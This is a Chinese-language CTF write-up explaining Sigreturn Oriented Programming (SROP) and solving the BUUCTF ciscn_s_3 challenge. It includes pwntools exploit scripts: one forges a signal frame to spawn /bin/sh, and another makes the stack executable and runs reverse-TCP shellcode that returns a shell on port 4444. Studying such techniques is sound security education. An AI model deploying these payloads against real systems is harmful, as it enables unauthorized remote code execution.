原創:treebacker合天智匯
原創投稿活動:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
高級ROP-SROP利用
在刷題時碰到這個考察點,有點震撼,特意記錄下。
SROP簡介
- SROP也即Sigreturn Oriented Programming。很顯然這種攻擊方式與Unix系統調用Sigreturn相關。它在發生signal的時候會被間接調用。
- Signal在unix下的機制(竊圖),發生signal時,會在user和kernel直接切換。系統會為當前進程保存上下文。完成后會從核心態退出時,會執行sigreturn恢復上下文。

?
在這四步過程中,第三步是關鍵,即如何使得用戶態的signal handler執行完成之后能夠順利返回內核態。在類UNIX的各種不同的系統中,這個過程有些許的區別,但是大致過程是一樣的。這里以linux為例:
在第二步的時候,內核會幫用戶進程將其上下文保存在該進程的棧上,然后在棧頂填上一個地址rt_sigreturn,這個地址指向一段代碼,在這段代碼中會調用sigreturn系統調用。因此,當signal handler執行完之后,棧指針(stack pointer)就指向rt_sigreturn,所以,signal handler函數的最后一條ret指令會使得執行流跳轉到這段sigreturn代碼,被動地進行sigreturn系統調用。下圖顯示了棧上保存的用戶進程上下文、signal相關信息,以及rt_sigreturn:

?
- 上面這段內存又稱為"Signal Frame"。
SROP Attack原理
- 問題出現在,內核保存的上下文是在用戶態控制的棧上(可以偽造的),而切換為用戶態時,并沒有檢查這段內存是否發生改變。也就造成了可利用的可能。
- 攻擊示意圖

?
- 上面的攻擊中,需要滿足以下幾個條件1、 存在棧溢出2、可以泄露棧地址,(即可以知道參數的地址)3、需要syscall的地址4、需要sigreturn的地址 (強制按照frame內存恢復進程狀態)相比較傳統的ROP攻擊,需要的gadgets更少,構造更方便。
- 連續攻擊

?
- 只需要設置棧指針rsp的值為下一個攻擊地址,同時rip的地址設置為&(syscall; ret;)即可。
實例
- BUUCTFciscn_s_3題目
- 漏洞分析

?
- 這里有兩個系統調用,需要在gdb調試,發現就是read和write操作。且存在棧溢出
- 一般ROP
- 泄露libc地址,利用gadgets執行execve或者system或者one_gadget。
- 實際操作發現,rdx的值我們無法控制。execve和system都是行不通的。但是發現一個有趣的gadget

?
- 這里,實際提供了一個mov eax, 0; ret;的gadget。為one_gadget和read的syscall都可以提供基礎。當然,也可以利用eax是作為函數的返回值的這一個特性,利用read特定的字節得到需要的eax。(注意這里的read也可以是syscall實現的,且上面的mov eax, 0 的gadget可以為我們syscall read提供條件)
- 可以one_gadget達到get shell的目的。
- SROP和攻擊。
- 看到這個題目很少人做出來,猜到應該不是這么簡單的操作。而且程序中明確指出的gadget很奇怪
- 15的系統號是rt_sigreturn,3b的系統調用是execve。(我都沒用到。。。)
- 搜索一番,看到一個師傅的騷操作。
- 就是我們上面提到的SROP攻擊思路,泄露棧地址、并且syscall和rt_sigreturn的gadget都是有的。
- 學習一波,記錄這種方式的exp(pwntools提供了Sigreturn Frame的構建)
payload = "/bin/sh\x00"payload += '\x00' * 8payload += p64(main)p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stackp.recv(32)stack_addr = u64(p.recv(8)) - 0x118 #rsiprint "stack_addr ==> " + hex(stack_addr)p.recv(8)#SROP Attackframe = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = stack_addr #&'/bin/sh'frame.rsi = 0frame.rdx = 0frame.rsp = stack_addrframe.rip = syscallpayload = 'a'*0x10payload += p64(rt_sigreturn) #強制sigreturn,改變framepayload += p64(syscall)payload += str(frame)p.send(payload)p.interactive()p.close()
- 拓展利用-連續攻擊生成backdoor。(return shell with reverse tcp 0.0.0.0 4444)
- 這里用到mprotect(start, len, prot)修改棧為RWX屬性。
- 直接設置fake frame的rsp為shellcode的地址。
main = 0x4004F1syscall = 0x400517 #syscall; ret rt_sigreturn = 0x4004DA #mov eax, 0xf; ret payload = '\x00' * 0x10payload += p64(main) p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stack p.recv(32) stack_addr = u64(p.recv(8)) - 0x118 #rsi print "stack_addr ==> " + hex(stack_addr) p.recv(8) frame1 = SigreturnFrame()frame1.rax = constants.SYS_mprotect frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000frame1.rsi = 0x1000 frame1.rdx = 7 frame1.rsp = stack_addr + 0x120 #frame2_sigreturnframe1.rip = syscall shellcode = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" "\x5e\x48\x31\xd2\x0f\x05\x48\x97" "\x6a\x02\x66\xc7\x44\x24\x02\x11" "\x5c\x54\x6a\x2a\x58\x5e\x6a\x10" "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" "\x58\x48\xff\xce\x0f\x05\xe0\xf6" "\x48\x31\xf6\x56\x48\xbf\x2f\x62" "\x69\x6e\x2f\x2f\x73\x68\x57\x54" "\x5f\xb0\x3b\x99\x0f\x05" payload = '\x00'*0x10 #rop_chain stack_addr+8 payload += p64(rt_sigreturn) payload += p64(syscall) #sigreturn payload += str(frame1) payload += p64(stack_addr + 0x128)payload += shellcode
在4444監聽之后,運行exp就可以看到得到了返回的shell。

?
- 幾個注意點1、一個frame框架是0xf8大?。?x64)。2、泄露的棧地址,返回再次利用時,偏移可能有些變動,建議調試確定。3、對于連續利用的所有指針參數,利用pop_ret的方式將參數保存在棧上,從而可以確參數定地址。
SROP與ROP的比較
- 利用難度。眾所周知,ROP的攻擊方式比較普遍,安全防護相應的也比較多。在真實的系統中,相應的gadgets比較難以獲取。反觀SROP,需要的gadgets少,主要在于偽造一個Frame。
- 代碼復用性。由于ROP極大的依賴于棧結構,gadgets片段都是保存在stack上,所以在一次利用結束后,在stack發生改變的時候,很難再次利用(有時候即使返回init狀態,也難以再次恢復stack狀態)。而SROP則不然,每次只需要偽造對應的Frame,rt_sigreturn的調用都能夠強制切換到我們需要的狀態。有著極高的代碼復用性。
SROP攻擊的更多資料
- paper
- slides
- Sigreturn Oriented Programming (SROP) Attack攻擊原理
多說一句這種攻擊方式,真心覺得強大
推薦實驗:ARM漏洞利用技術四--內存布局及棧溢出
http://www.hetianlab.com/expc.do?ec=ECIDecfd-a36f-45cf-8115-ed6a233eed75
聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!